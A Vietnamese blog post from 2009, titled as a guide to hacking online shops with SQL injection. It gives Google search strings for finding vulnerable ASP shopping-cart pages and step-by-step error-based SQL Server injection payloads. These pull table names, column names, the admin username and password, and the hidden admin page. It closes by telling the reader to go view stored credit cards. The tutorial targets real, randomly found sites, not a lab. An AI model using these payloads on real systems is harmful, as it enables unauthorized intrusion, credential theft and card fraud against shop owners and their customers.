Thứ Sáu, 16 tháng 1, 2009

HƯỚNG DẪN HACK SHOP BẰNG SQL INJECTION

Tất cả những kiến thức này đều rất căn bản , Nhưng lại hết sức hữu dụng trong việc hack shop.Chỉ cần thành thạo những kiến thức này là bạn hack được cả đống shop rồi .
Để tìm site bị lỗi kiểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop như thế nào cho thật hiệu quả. Nên search shop ở http://www.google.com/ hoặc http://www.search.com/ Từ khoá nên dùng:allinurl:”shopdisplayproducts.asp?id="hoặc search theo domain allinurl:”.com/shopdisplayproducts.asp?id= "bạn có thể thay .com bằng .net,.biz ,.us.....vv thay id bằng cat
theo tôi khi search bạn nên thêm giá trị của id= ví dụ như :allinurl:”shopdisplayproducts.asp?id=9"
Mỗi lần thay giá trị như vậy sẽ cho ra thêm nhiều kết quả mới .Sau khi search xong bạn chọn lấy một site bất kỳ ta.thêm dấu nháy đơn ' .
http://www.victim.com/shopping/shopdisplay...asp?id=153'
Nếu ko báo lỗi, bạn hãy thử thay id bằng cat xem http://www.victim.com/shopping/shopdisplay...sp?cat=153'

Trích: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''./shopping/shopdisplayproducts.asp, line 93

Oh có lỗi rồi. Bạn nhìn kỹ nhé -----> Unclosed quotation mark before the character string đối với lỗi này ta sẽ dùng and 1=convert , Còn nếu nó báo thế này


CODE
Microsoft JET Database Engine error '80040e14' Syntax error in query expression 'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.catdescription like '5'%' and hide=0 order by specialoffer desc,cname'. /shop$db.asp, line 467

Thì đây là lỗi jet Bạn hãy chuyển qua phần 2
Bây giờ ta tiếp tục :
Trích:
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''./shopping/shopdisplayproducts.asp, line 93

Bước I:
Lấy table : đây là câu lệnh cơ bản để lấy table:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
bạn xoá dấu ' rồi thêm dòng query này vào phía sau
ta được như thế này
http://www.victim.com/shopping/shopd...from%20informa tion_schema.tables))--sp_password
Chú ý : %20 là mã ascii của dấu cách (space) , do IE ko chấp nhận dấu cách nên nó phải chuyển sang ascii

Trích:
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data type int./shopping/shopdisplayproducts.asp, line 93

kết quả 'ver_Faq' là tên của table đầu tiên trong cơ sở dữ liệu :câu lệnh lấy table tiếp theo :and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq')))--sp_password

ta được thế nàyhttp://www.victim.com/shopping/shopd...from%20informa tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq')))--sp_password

Trích:
CODE
ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'coupons' to a column of data type int./shopping/shopdisplayproducts.asp, line 93

Ta cứ lấy tiếp như vậy :

http://www.victim.com/shopping/shopd...%201=convert(i nt,(select%20top%201%20table_name%20from%20informa tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq','coupons')))--sp_password

Bước II : lấy column mục đích của chúng ta là tìm thông tin liên quan đến admin , thông thường nó nằm trong các table : users, tbluser,AdminUsers..........Giả sử ở đây là tbluser
Câu truy vấn dùng để lấy column:and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbluser')))--sp_password

ta được thế nàyhttp://www.victim.com/shopping/shopd...cts.asp?id=153 and 1=convert(int,(select top 1 column_ name from information_schema.columns where table_name=('tbluser')))--sp_password

Trích:
CODE
ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fldauto' to a column of data type int./shopping/shopdisplayproducts.asp, line 93

Lấy column tiếp theo:and 1=convert(int,(select top 1 column_ name from information_schema.columns where table_name=('tbluser') and column_name not in ('fldauto')))--sp_password
Khi thêm code xong sẽ như thế này:
http://www.victim.com/shopping/shopdisplay...d%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('tbluse r')%20and%20column_name%20not%20in%20('fldauto'))) --sp_password
Trích: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fldusername' to a column of data type int./shopping/shopdisplayproducts.asp, line 93


Lấy column tiếp theo :and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbluser') and column_name not in ('fldauto','fldusername')))--sp_password
http://www.victim.com/shopping/shopdisplay...d%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('tbluse r')%20and%20column_name%20not%20in%20('fldauto','f ldusername')))--sp_password


Trích
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fldpassword' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93


Ok được rồi, giờ ta lấy username và password :
++++Câu truy vấn :
_Lấy username
and 1=convert(int,(select top 1 fldusername from tbluser))--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type int. /shopping/shopdisplayproducts.asp, line 93----------> username là admin

_Lấy password :
and 1=convert(int,(select top 1 fldpassword from tbluser))--sp_password
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1234' to a column of data type int. /shopping/shopdisplayproducts.asp, line 93----------> pass là 1234

Hoặc có thể lấy cả 2 cùng 1 lúc
and 1=convert(int,(select top 1 fldusername%2b'/'%2bfldpassword from tbluser))--sp_password
%2b là mã ascii của dấu +
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin/1234' to a column of data type int. /shopping/shopdisplayproducts.asp, line 93

Chú ý :Nhiều khi bạn không thể tìm thấy table tbluser hoặc users hay các table (có vẻ) liên quan đến thông tin admin .Lúc này chẳng nhẽ bạn đành lấy lần lượt các column trong từng table sao ? Chúng ta có 1 cách khác nhanh hơn đó là dùng từ khoá like
Giả sử ta cần tìm column 'fldpassword' mà không biết nó ở đâu .Ta thử search tại Table đầu tiên 'ver_Faq'
Câu truy vấn như sau:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('ver_Faq') and column_name like ('%25pass%25')))--sp_password
Bạn chú ý : câu truy vấn này sẽ trả về tên của column đầu tiên mà tên của nó có chứa chữ "pass"
Trích :
No products match your search
Oh vậy là table 'ver_Faq' ko có column nào mà tên của nó có chứa chữ "pass" .Đến đây chắc bạn biết làm gì tiếp, ta cứ search các table khác, table nào có nó sẽ cho ra kết quả như sau :
TríchMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fldpassword' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93

Bước III:
Sau khi đã có username và password việc còn lại là tìm link admin .Ví dụ link của shop là thế này
http://www.victim.com/shopping/shopd...cts.asp?id=153
Thì link admin có thể nằm ở
http://www.victim.com/shopping/shopadmin.asp Hoặc http://www.victim.com/shopping/shopadmin1.asp
Nếu không được bạn hãy làm theo cách của tôi :
Ta biết column fieldvalue và fieldname chứa link admin
Column fieldvalue và fieldname thường nằm trong table configuration
Nhưng nhiều khi bạn đã lấy được tất cả table của shop nhưng vẫn không thấy table configuration , đó là vì table này đã bị rename , lúc này buộc bạn phải sử dụng tiếp từ khoá like để search column filedvalue . Cái này tôi không nói thêm nữa bạn. cứ áp dụng theo hướng dẫn ở trên.
Để lấy link admin bạn dùng câu truy vấn như sau :
and 1=convert(int,(select top 1 fieldname%2b'/'%2bfieldvalue from configuration where fieldname='xadminpage'))--sp_password
Trích:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'xadminpage/5h0padm1n.asp' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93
ok link admin là 5h0padm1n.asp
Giờ thì bạn đã có shop rồi, giờ chỉ cần vào view cc nữa thôi ()

Không có nhận xét nào:

Ngay 12/04/2016

Cuộc sống không dễ dàng, nhất là khi bạn lên kế hoạch đạt được điều gì đó có giá trị. Đừng chọn con đường đi dễ dàng. Hãy làm điều gì đó phi...